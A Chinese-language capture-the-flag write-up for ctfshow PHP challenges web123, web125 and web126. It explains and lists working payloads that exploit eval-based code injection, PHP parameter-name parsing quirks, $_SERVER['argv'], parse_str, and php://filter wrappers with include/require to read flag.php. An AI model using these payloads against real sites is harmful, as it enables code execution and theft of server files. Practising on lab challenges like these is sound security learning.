目录
1、web123
2、web125
3、web126
1、web123
要求存在 post 传入 CTF_SHOW 和 CTF_SHOW.COM,不能存在 get 传入 fl0g。
正则匹配过滤掉了一些符号,符合则会执行 eval 函数,其中 c 来自 post 传入的 fun。
我们先说非预期解,payload:
CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag
在给参数传值时,如果参数名中存在非法字符,比空格和点,则参数名中的点和空格等非法字符都会被替换成下划线。并且,在PHP8之前,如果参数中出现中括号 [ ,那么中括号会被转换成下划线 _ ,但是会出现转换错误,导致如果参数名后面还存在非法字符,则不会继续转换成下划线。也就是说,我们可以刻意拼接中括号制造这种错误,来保留后面的非法字符不被替换,因为中括号导致只会替换一次。
确保传参符合条件后,由于没有过滤字母和空格,直接用 echo 输出 flag,后面会拼接好分号。
拿到 flag:ctfshow{e09d47f9-bbcc-4c15-8874-3c8ece6ca8f8}
接下来的方法就涉及到:
$a=$_SERVER['argv'];
在 PHP 中,$_SERVER['argv'] 用于获取脚本的命令行参数,通常,这是在命令行模式下运行 PHP 脚本时使用的,而不是在网页模式下使用。
当在命令行模式下运行 PHP 脚本时,例如: php script.php arg1 arg2
那么 $_SERVER['argv'] 将包含以下内容:
$_SERVER['argv'][0] = 'script.php'; // 脚本名
$_SERVER['argv'][1] = 'arg1'; // 第一个参数
$_SERVER['argv'][2] = 'arg2'; // 第二个参数
在网页模式下(通过浏览器访问 PHP 脚本),$_SERVER['argv'] 通常不包含有用的信息,因为网页请求没有命令行参数。然而,有时服务器配置会将查询字符串或其他信息填充到 $_SERVER['argv'] 中。
payload:
get:?$fl0g=flag_give_me;
post:CTF_SHOW=&CTF[SHOW.COM=&fun=eval($a[0])
这里的查询字符串没有包含 fl0g,但包含了 $fl0g。由于 PHP 中的变量名不包括 $ 符号,所以 isset($_GET['fl0g']) 仍然会返回 false,即没有检测到 fl0g 参数。
post 传入 CTF_SHOW 和 CTF_SHOW.COM 确保 isset($_POST['CTF_SHOW']) && isset($_POST['CTF_SHOW.COM']) 这部分条件为真,fun=eval($a[0]) 将 eval($a[0]) 的代码传递给 $c。
准确来说,此时的 $_SERVER[‘argv’][0] 就等于 $_SERVER[‘QUERY_STRING’],$_SERVER["QUERY_STRING"] 就是查询 (query) 的字符串,这是由于 php.ini 开启了register_argc_argv 配置项。
当访问 ?$fl0g=flag_give_me; 时,服务器配置使得查询字符串被传递到 $_SERVER['argv'] 中。
在这种配置下,$_SERVER['argv'][0] 包含了整个查询字符串,即 '$fl0g=flag_give_me;'。
在 eval("$c;"); 中实际执行的是 eval('eval($a[0]);');,因为 $a[0] 是 '$fl0g=flag_give_me;',这相当于执行了 eval('$fl0g=flag_give_me;');,这样就定义了变量 $fl0g 并赋值为 'flag_give_me'。
最后 判断 if($fl0g === "flag_give_me"),因为 $fl0g 被正确地设置为了 'flag_give_me',所以这个条件为真,因此,echo $flag; 被执行,输出 $flag。
最后再来看一下官方的预期解:
get: ?a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
通过加号 + 分割 argv 成多个部分,也是为了得到 fl0g=flag_give_me ,其中 parse_str() 函数用来把查询字符串解析到变量中。
函数用法:parse_str(string,array)
参数 | 描述 |
---|---|
string | 必需。规定要解析的字符串。 |
array | 可选。规定存储变量的数组名称。该参数指示变量存储到数组中。 |
2、web125
新增过滤了一些输出函数,并且对 c 的内容长度限制更为苛刻。
使用 highlight_file 高亮显示 flag.php,payload:
?1=flag.php
post:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])
或者都采用 post 请求,也是可以的
CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_POST[1])&1=flag.php
这里之所以再采用一个 1 来进行传参,应该是为了绕过正则里面对 flag 的过滤。
但我其实没太明白这里的长度限制为什么给过了,光 highlight_file() 就已经 16 个字符了,难道 $_GET[1] 没有算在里面吗?然后我还试了一下 highlight_file 的别名 show_source ,这个更短,但是却没有回显。
我们还可以用 include 结合伪协议读取,payload:
CTF_SHOW=&CTF[SHOW.COM=&fun=include($_POST[1])&1=php://filter//convert.iconv.SJIS*.UCS-4*/resource=flag.php
用 require 也是可以的:
CTF_SHOW=&CTF[SHOW.COM=&fun=require($_POST[1])&1=php://filter//convert.iconv.SJIS*.UCS-4*/resource=flag.php
此外其他的 payload:
CTF_SHOW=&CTF[SHOW.COM=&fun=var_export(get_defined_vars())
利用 var_export 函数输出所有已定义的变量
3、web126
新增过滤大小写字母:|g|i|f|c|o|d/i
伪协议也不好使了,使用 web123 中的 payload:
get:?$fl0g=flag_give_me;
post:CTF_SHOW=&CTF[SHOW.COM=&fun=eval($a[0])
post 传 assert 也是可以的:
CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])
或者预期解也是可以的:
get: ?a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])